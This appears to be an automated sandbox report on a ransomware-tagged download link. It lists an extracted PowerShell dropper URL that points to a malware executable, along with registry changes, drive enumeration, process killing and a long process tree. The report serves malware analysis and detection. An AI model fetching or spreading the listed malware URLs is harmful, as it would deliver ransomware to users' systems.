hxxps://yadi[.]sk/d/WemMDKVy3KXPcy

Analysis

max time kernel
129s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
28-03-2023 10:55

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://yadi.sk/d/WemMDKVy3KXPcy

Score

10^/10

evasion ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://french-cooking.com/myguy.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://french-cooking.com/myguy.exe

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

144 5760 powershell.exe
147 6068 powershell.exe
Disables Task Manager via registry modification
evasion

flow	pid	process
144	5760	powershell.exe
147	6068	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exemshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

000.exe

description	ioc	process
File opened (read-only)	\??\N:	000.exe
File opened (read-only)	\??\O:	000.exe
File opened (read-only)	\??\Q:	000.exe
File opened (read-only)	\??\V:	000.exe
File opened (read-only)	\??\K:	000.exe
File opened (read-only)	\??\L:	000.exe
File opened (read-only)	\??\H:	000.exe
File opened (read-only)	\??\I:	000.exe
File opened (read-only)	\??\R:	000.exe
File opened (read-only)	\??\U:	000.exe
File opened (read-only)	\??\X:	000.exe
File opened (read-only)	\??\E:	000.exe
File opened (read-only)	\??\F:	000.exe
File opened (read-only)	\??\G:	000.exe
File opened (read-only)	\??\M:	000.exe
File opened (read-only)	\??\S:	000.exe
File opened (read-only)	\??\W:	000.exe
File opened (read-only)	\??\Z:	000.exe
File opened (read-only)	\??\A:	000.exe
File opened (read-only)	\??\B:	000.exe
File opened (read-only)	\??\T:	000.exe
File opened (read-only)	\??\Y:	000.exe
File opened (read-only)	\??\J:	000.exe
File opened (read-only)	\??\P:	000.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs
ransomware

Defacement
T1491

Modify Registry
T1112

Processes:

000.exe

description ioc process

Set value (str) \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\Desktop\Wallpaper 000.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\Desktop\Wallpaper	000.exe

Drops file in Program Files directory 2 IoCs

Processes:

setup.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\84f0178d-30b4-4e4f-92bc-331e32dfac63.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230328125605.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

5712 taskkill.exe
4676 taskkill.exe

pid	process
5712	taskkill.exe
4676	taskkill.exe

Modifies registry class 5 IoCs

Processes:

000.exepowershell.exemsedge.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico"	000.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2805025096-2326403612-4231045514-1000\{F2907903-65D6-44C0-8219-5B45660FFE5A}	000.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exemsedge.exemsedge.exemsedge.exeidentity_helper.exepowershell.exepowershell.exemsedge.exemsedge.exe

pid	process
2984	powershell.exe
2984	powershell.exe
4080	msedge.exe
4080	msedge.exe
1916	msedge.exe
1916	msedge.exe
4144	msedge.exe
4144	msedge.exe
1884	identity_helper.exe
1884	identity_helper.exe
5760	powershell.exe
5760	powershell.exe
5760	powershell.exe
6068	powershell.exe
6068	powershell.exe
6068	powershell.exe
3940	msedge.exe
3940	msedge.exe
5300	msedge.exe
5300	msedge.exe
5300	msedge.exe
5300	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

Processes:

msedge.exe

pid	process
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exeAUDIODG.EXEtaskkill.exe000.exetaskkill.exeWMIC.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	5760	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: 33	5688	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5688	AUDIODG.EXE
Token: SeDebugPrivilege	5712	taskkill.exe
Token: SeShutdownPrivilege	1004	000.exe
Token: SeCreatePagefilePrivilege	1004	000.exe
Token: SeDebugPrivilege	4676	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemProfilePrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeProfSingleProcessPrivilege	1488	WMIC.exe
Token: SeIncBasePriorityPrivilege	1488	WMIC.exe
Token: SeCreatePagefilePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeDebugPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeRemoteShutdownPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: 33	1488	WMIC.exe
Token: 34	1488	WMIC.exe
Token: 35	1488	WMIC.exe
Token: 36	1488	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1488	WMIC.exe
Token: SeSecurityPrivilege	1488	WMIC.exe
Token: SeTakeOwnershipPrivilege	1488	WMIC.exe
Token: SeLoadDriverPrivilege	1488	WMIC.exe
Token: SeSystemProfilePrivilege	1488	WMIC.exe
Token: SeSystemtimePrivilege	1488	WMIC.exe
Token: SeProfSingleProcessPrivilege	1488	WMIC.exe
Token: SeIncBasePriorityPrivilege	1488	WMIC.exe
Token: SeCreatePagefilePrivilege	1488	WMIC.exe
Token: SeBackupPrivilege	1488	WMIC.exe
Token: SeRestorePrivilege	1488	WMIC.exe
Token: SeShutdownPrivilege	1488	WMIC.exe
Token: SeDebugPrivilege	1488	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1488	WMIC.exe
Token: SeRemoteShutdownPrivilege	1488	WMIC.exe
Token: SeUndockPrivilege	1488	WMIC.exe
Token: SeManageVolumePrivilege	1488	WMIC.exe
Token: 33	1488	WMIC.exe
Token: 34	1488	WMIC.exe
Token: 35	1488	WMIC.exe
Token: 36	1488	WMIC.exe
Token: SeShutdownPrivilege	1004	000.exe
Token: SeCreatePagefilePrivilege	1004	000.exe
Token: SeIncreaseQuotaPrivilege	5068	WMIC.exe
Token: SeSecurityPrivilege	5068	WMIC.exe
Token: SeTakeOwnershipPrivilege	5068	WMIC.exe
Token: SeLoadDriverPrivilege	5068	WMIC.exe
Token: SeSystemProfilePrivilege	5068	WMIC.exe
Token: SeSystemtimePrivilege	5068	WMIC.exe
Token: SeProfSingleProcessPrivilege	5068	WMIC.exe
Token: SeIncBasePriorityPrivilege	5068	WMIC.exe
Token: SeCreatePagefilePrivilege	5068	WMIC.exe
Token: SeBackupPrivilege	5068	WMIC.exe
Token: SeRestorePrivilege	5068	WMIC.exe

Suspicious use of FindShellTrayWindow 19 IoCs

Processes:

msedge.exe

pid	process
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe
1916	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

000.exe

pid process

1004 000.exe
1004 000.exe

pid	process
1004	000.exe
1004	000.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 1916 wrote to memory of 4164	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 4164	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 2016	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 4080	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 4080	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe
PID 1916 wrote to memory of 824	1916	msedge.exe	msedge.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell start shell:Appsfolder\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge https://yadi.sk/d/WemMDKVy3KXPcy
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-redirect=Windows.Launch https://yadi.sk/d/WemMDKVy3KXPcy
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0xd4,0x7ff817c246f8,0x7ff817c24708,0x7ff817c24718
2⤵
PID:4164

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
2⤵
PID:2016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8
2⤵
PID:824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3612 /prefetch:1
2⤵
PID:380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
2⤵
PID:4952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
2⤵
PID:5108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:1
2⤵
PID:4132

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5800 /prefetch:1
2⤵
PID:3224

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5864 /prefetch:1
2⤵
PID:3288

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6320 /prefetch:1
2⤵
PID:5068

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5972 /prefetch:8
2⤵
PID:3668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6708 /prefetch:1
2⤵
PID:1884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6864 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7048 /prefetch:1
2⤵
PID:2564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6928 /prefetch:1
2⤵
PID:3540

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7268 /prefetch:8
2⤵
PID:5016

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
2⤵
- Drops file in Program Files directory
PID:864

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x224,0x228,0x22c,0x1fc,0x230,0x7ff7b10b5460,0x7ff7b10b5470,0x7ff7b10b5480
3⤵
PID:2732

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7268 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6584 /prefetch:1
2⤵
PID:5484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:1
2⤵
PID:660

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3716 /prefetch:8
2⤵
PID:5612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5024 /prefetch:1
2⤵
PID:5816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4340 /prefetch:1
2⤵
PID:5732

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5956 /prefetch:1
2⤵
PID:5700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:1
2⤵
PID:4376

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3672 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,10548610190316921330,16216119942880128532,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5968 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5300

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
